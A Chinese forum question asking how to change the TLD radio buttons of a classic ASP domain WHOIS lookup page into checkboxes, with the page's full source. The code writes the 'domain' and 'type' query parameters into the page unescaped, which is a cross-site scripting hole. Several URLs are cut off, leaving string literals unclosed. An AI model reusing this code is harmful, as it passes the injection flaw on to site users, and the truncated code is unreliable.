怎么把查询的单选改成多选
请问：域名查询系统，怎么把查询的单选改成多选，把type="radio"改成type="checkbox"<HTML>
<HEAD>
<TITLE>商务域名注册() 域名WHOIS查询</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content=WHOIS查询,域名查询,域名所有人查询 name=description>
<META content=WHOIS查询,域名查询,域名所有人查询 name=keywords>
</style>
<style type="text/css">
<!--
.STYLE1 {
color: #FFFFFF;
font-weight: bold;
}
body,td,th {
font-size: 12px;
}
-->
</style>
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<script language="javascript">
function CheckEmail(item)
{
var etext=form1.domain.value;
var elen=form1.domain.value.length;
var i;
var aa;
var domainStr;
var domainStrV;
var keywz;
if (elen>60)
{
alert("请不要输入超过60个字符！");
return false;
}
if(etext=="")
{
alert("请输入要查询的域名！");
return false;
}
for (i=0;i<=elen-1;i++)
{
aa=etext.charAt(i)
if ((aa==' '))
{
alert("域名不能有空格！");
return false;
}
if ((aa=='.'))
{
alert("不能直接输入带后缀的域名,只要输入想注册域名的名称即可查询！");
return false;
}
}
return true;
}
</script>
<%OutMsg="请输入您需要查询的域名"%>
<br>
<table width="600" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#999999">
<tr>
<td height="20" bgcolor="#FFFFFF">
<div align="center" class="STYLE1"><img src="http://www. width="600" height="150"></div></td>
</tr>
<tr>
<td width="30%" height="32" bgcolor="#FFFFFF"><div align="left">
<table width="96%" border="0" align="center" cellpadding="2" cellspacing="1">
<tr>
<td bgcolor="#f3f3f3"><%=OutMsg%>
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")
End function
Function bstr(vIn)
Dim strReturn,i,ThisCharCode,innerCode,Hight8,Low8,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bstr = strReturn
End Function
Function GetURL(url)
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "GET", url, false
.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
.Send
GetURL = .ResponseBody
End With
Set Retrieval = Nothing
GetURL=bstr(GetURL)
End Function
%>
<%
domain= Request.QueryString("domain")
dtype=request.QueryString("type")
if domain<>"" then
if dtype<>"" then
TakenHTML = GetURL("http://panda.)
startpoint=instr(TakenHTML,"<!-- start -->")
endpoint=instr(TakenHTML,"<!-- end -->")
TakenHTML =mid(TakenHTML,startpoint,endpoint-startpoint)
%>
<%
'判断域名是否被注册
if InStr(TakenHTML,"No entries") > 1 then
Response.Write Domain & "出错了,请返回！<br><br>"
else
if (InStr(TakenHTML,"no match record") or InStr(TakenHTML,"No match") or InStr(TakenHTML,"NOT FOUND") or InStr(TakenHTML,"Not found") or InStr(TakenHTML,"no matching record"))> 1 then %>
<font color="red" style="font-size:16px"><b>祝贺您 这个域名可以注册：</b></font><font size="3"><p>您想注册的域名
<b>[<% =Domain %>.<%=dtype%> ]还没有被注册</b><a href="http://idc.开始注册</a><br>
<% else %>
<font color="red" style="font-size:16px"><b>对不起：</b></font><font size="3"><p>您想注册的域名
<b>[<% =Domain %>.<%=dtype%> ]已经被注册了！ <a href="index.html">重新查询</a></b><p></p>请您换个域名再试；</font>
<%end if%>
<%end if%>
<!---判断域名是否被注册----->
<%
response.Write(TakenHTML)
else
OutMsg="请选择域名类型！"
end if
else
OutMsg="您输入的域名不能为空！"
end if
%>
<a href="http://idc. target="_blank"><font color="#FF0000">填写注册申请表</font></a></td>
</tr>
</table>
</div></td>
</tr>
<tr>
<td height="4" bgcolor="#FFFFFF"><form name="form1" method="get" action="whois.asp" onSubmit="return CheckEmail(this.domain);">
<br>
<table width="96%" border=0 align="center" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr bgcolor="#CC0000">
<td height="30" colspan="4" background="image/domian_bg.jpg" bgcolor="#FFFFFF"> <div align="center">
<input name="domain" class=whois_box value="<%=rs(myform)%>" size="23" maxlength=63>
<input name="Submit" type="submit" value="查询" align=absMiddle width=38 border=0>
</div></td>
</tr>
<tbody>
<tr bgcolor="#FFFFFF">
<td width="25%"> <input name="type" type="radio" value="com" checked>
.com</td>
<td width="25%"> <input type="radio" name="type" value="net">
.net </td>
<td width="25%"> <input type="radio" name="type" value="org">
.org </td>
<td width="25%"> <input type="radio" name="type" value="cn">
.cn </td>
</tr>
<tr bgcolor="#f3f3f3">
<td width="25%" height="19" bgcolor="#f3f3f3"> <input type="radio" name="type" value="comcn">
.
<td width="25%"> <input type="radio" name="type" value="netcn">
.
<td width="25%" height="19"> <input type="radio" name="type" value="orgcn">
.
<td width="25%" height="19"> <input type="radio" name="type" value="govcn">
.
</tr>
<tr bgcolor="#FFFFFF">
<td width="25%"> <input type="radio" name="type" value="info">
.info </td>
<td width="25%"> <input type="radio" name="type" value="biz">
.biz </td>
<td width="25%"> <input type="radio" name="type" value="tv">
.tv </td>
<td width="25%"> <input type="radio" name="type" value="cc">
.cc </td>
</tr>
</tbody>
</table>
<br>
</form>
<tr>
<td height="30" bgcolor="#FFFFFF"><div align="center"><font size="2"><a href="http://www. target="_blank">商务世纪</a></font> 联系电话：0431-66641798 86112670 35cen@ <script src='http://' language='JavaScript' charset='gb2312'></script></div>
</table>
<br>
</body>
</html>
